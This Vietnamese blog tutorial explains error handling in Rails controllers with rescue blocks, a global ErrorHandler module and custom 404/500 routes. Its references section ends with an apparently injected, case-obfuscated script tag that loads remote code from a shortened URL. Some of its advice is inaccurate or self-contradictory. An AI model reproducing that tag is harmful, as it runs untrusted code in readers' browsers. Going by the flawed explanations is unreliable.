Error Handling in Rails
Bài đăng này đã không được cập nhật trong 3 năm
Introduction
Theo như Luật Murphy, bất cứ điều gì nếu bắt đầu sai thì sẽ kéo theo sai cả quá trình, đó là lý do tại sao công tác chuẩn bị lại quan trọng. Nó áp dụng ở khắp mọi nơi, ngay cả trong phát triển phần mềm.
Các ứng dụng mà chúng tôi phát triển phải đủ mạnh mẽ để xử lý nó. Nói cách khác, nó phải có độ đàn hồi hay tính mềm dẻo. Đây chính là lý do tôi viết bài về Error Handling in Rails
trong bài này.
Trong Ruby on Rails
khi chúng ta xử lý các sai sót ở cấp độ điều khiển, ta thường sử dụng if .. else
hoặc when ... case
... ví dụ như:
class UsersController < ApplicationController
def show
@user = User.find(params[:id])
if @user
render json: @user, status: :ok
else
render json: {
error: "User with id #{params[:id]} not found."
}, status: :not_found
end
end
end
Xét ở ví dụ trên ta thấy, nếu đối tượng User
được tìm thấy bản ghi ta trả về json
đối tượng đó, nếu không tìm thấy trả về lỗi. Đó là phương pháp hay được chúng ta sử dụng trong việc điều hướng lỗi không mong muốn.
Khi không tìm thấy bản ghi nào trong đối tượng User
, nó sẽ chuyển hướng đến lỗi 500
là lỗi dự phòng trong Ruby on Rails
hay bất cứ ngôn ngữ lập trình nào mà tôi và các bạn đã biết. Lỗi này sảy ra đối tượng rỗng nó sẽ được điều hướng đến đối tượng RecordNotFound
để bắn ra lỗi. Điều này xảy ra khi bạn sử dụng find_by!
như ví dụ trên hoặc phương thức tìm kiếm khác.
Exception != Error
Trước khi đi vào sửa các lỗi một điều quan trọng chúng ta cần là hiểu rõ loại lỗi đó gây ra. Như trong ví dụ lỗi ActiveRecord::RecordNotFound
bên dưới:
begin
@user = User.find_by!(id: 1)
rescue ActiveRecord::RecordNotFound => e
print e
end
Nhưng khi bạn muốn sử dụng tất cả các Exceptions
thì điều quan trọng bạn cần biết chính là sự khác nhau giữa Exception
và Error
trong Rails
. Như vậy cách tốt nhất là giữ nguyên dạng nguyên bản của Exception
nếu không muốn dùng ActiveRecord::RecordNotFound
, ví dụ:
begin
@user = User.find_by!(id: 1)
rescue Exception => e # Never do this!
print e
end
Hoặc bạn cũng có thể sử dụng StandardError
để xử lý ngoại lệ thay cho Exception
cũng được, như ví dụ:
begin
@user = User.find_by!(id: 1)
rescue StandardError => e
print e
end
Rescue
Để giải quyết các error
chúng ta có thể sử dụng khối Rescue
. Khối Rescue
trong Ruby on Rails
xử lý tương tự như khối try ... catch
trong Java hoặc PHP...
vậy. ví dụ:
class UsersController < ApplicationController
def show
@user = User.find(params[:id])
render json: @user, status: :ok
rescue ActiveRecord::RecordNotFound => e
render json: {
error: e.to_s
}, status: :not_found
end
end
Với phương pháp này các error
được xử lý trong Controller
. Mặc dù cách xử lý này hoàn toàn có thể không được giải quyết tốt nhất để xử lý lỗi.
Với các can thiệp và xử lý lỗi như trên, chúng ta có thể dễ dàng khỏi lỗi do người dùng gây ra khi cố tình truyền vào param
không đúng. Mặc dù cách này khá hiêu quả nhưng đây chưa phải là cách tốt nhất để xử lý các lỗi.
Error Handling
Để xử lý các error
lựa chọn đầu tiên của tôi là viết ở dưới ApplicationController
. Đó là cách tốt nhất để tách xử lý error hoặc Exception
ra khỏi logic của dựa án.
Tạo module
để xử lý error và Exception
ở mức độ toàn cục. Ta tạo một module ErrorHandler
trong file error_handler.rb
để xử lý error
và để nó trong lib/errors
sau đó bạn include vào ApplicationController
, code ví dụ như bên dưới:
# application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
include Error::ErrorHandler
end
#error_handler.rb
module Error
module ErrorHandler
def self.included(clazz)
clazz.class_eval do
rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
end
end
private
def record_not_found(_e)
json = Helpers::Render.json(:record_not_found, _e.to_s)
render json: json, status: 404
end
end
end
Lưu ý: Ở đây tối sử dụng Helper classes
để render
đầu ra dưới dạng json
.
Chúng ta sẽ include
tất cả các module ErrorHandler
trong ApplicationController
.
#users_controller.rb
# After including ErrorHandler module in ApplicationController
# Remove the Error block from the controller actions.
class UsersController < ApplicationController
def show
@user = User.find_by!(id: params[:id])
render json: @user, status: :ok
end
end
Chúng ta sẽ refactor
module ErrorModule
để điều hướng và xử lý các lỗi có thể gặp phải.
# error_handler.rb
module Error
module ErrorHandler
def self.included(clazz)
clazz.class_eval do
rescue_from ActiveRecord::RecordNotFound do |e|
respond(:record_not_found, 404, e.to_s)
end
rescue_from StandardError do |e|
respond(:standard_error, 500, e.to_s)
end
end
end
private
def respond(_error, _status, _message)
json = Helpers::Render.json(_error, _status, _message)
render json: json
end
end
end
Nếu lỗi của bạn nhận được thông báo ActiveRecord:RecordNotFound
nó được kế thừa StandardError
lỗi không có bản ghi nào. Chúng ta có thể xử lý lỗi này thông qua :record_not_found
. StandardError
là khối lỗi dự phòng để xử lý tất cả các lỗi gặp phải trong ứng dụng.
404 and 500
Bạn có thể xử lý các trường hợp ngoại lệ thông thường như 404 và 500 thông quá ngoại lệ defult trong ứng dụng Ruby on Rails
. Bạn cũng có thể tạo ra điểu hướng ngoại lệ riêng của mình, có thể tạo đa điều hướng ngoại lệ như bên dưới tôi viết:
# errors_controller.rb
class ErrorsController < ApplicationController
def not_found
render json: {
status: 404,
error: :not_found,
message: 'Not Found.'
}, status: 404
end
def internal_server_error
render json: {
status: 500,
error: :internal_server_error,
message: 'Internal Server Error'
}, status: 500
end
end
Rails
sử dụng Routes
để xử lý trường hợp ngoại lệ, ta chỉ cần thêm vào application.rb
các đoạn mã như sau:
Rails.application.routes.draw do
get '/404', to: 'errors#not_found'
get '/500', to: 'errors#internal_server_error'
root 'home#index'
resources :users, only: [:create, :show]
get 'not_visible', to: 'home#not_visible'
end
Conclusion
Việc sử dụng mềm dẻo các điều hướng exceptions và errors
giúp cho ứng dụng của chúng ta khi hoạt động sẽ trơn tru và mượt mà hơn.
Có rất nhiều cách để bạn có thể custom
điều hướng lỗi, trên đây là tôi chỉ giới thiệu vài cách cơ bản. Các bạn có thể tham khảo thêm ở các bài viết khác hoặc Google Search
.
Cảm ơn các bạn đã đọc bài viết, có thắc mắc hay ý kiến gì xin để lại comment phía dưới, chúc các bạn vui vẻ! (thankyou).
Tài liệu tham khảo
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved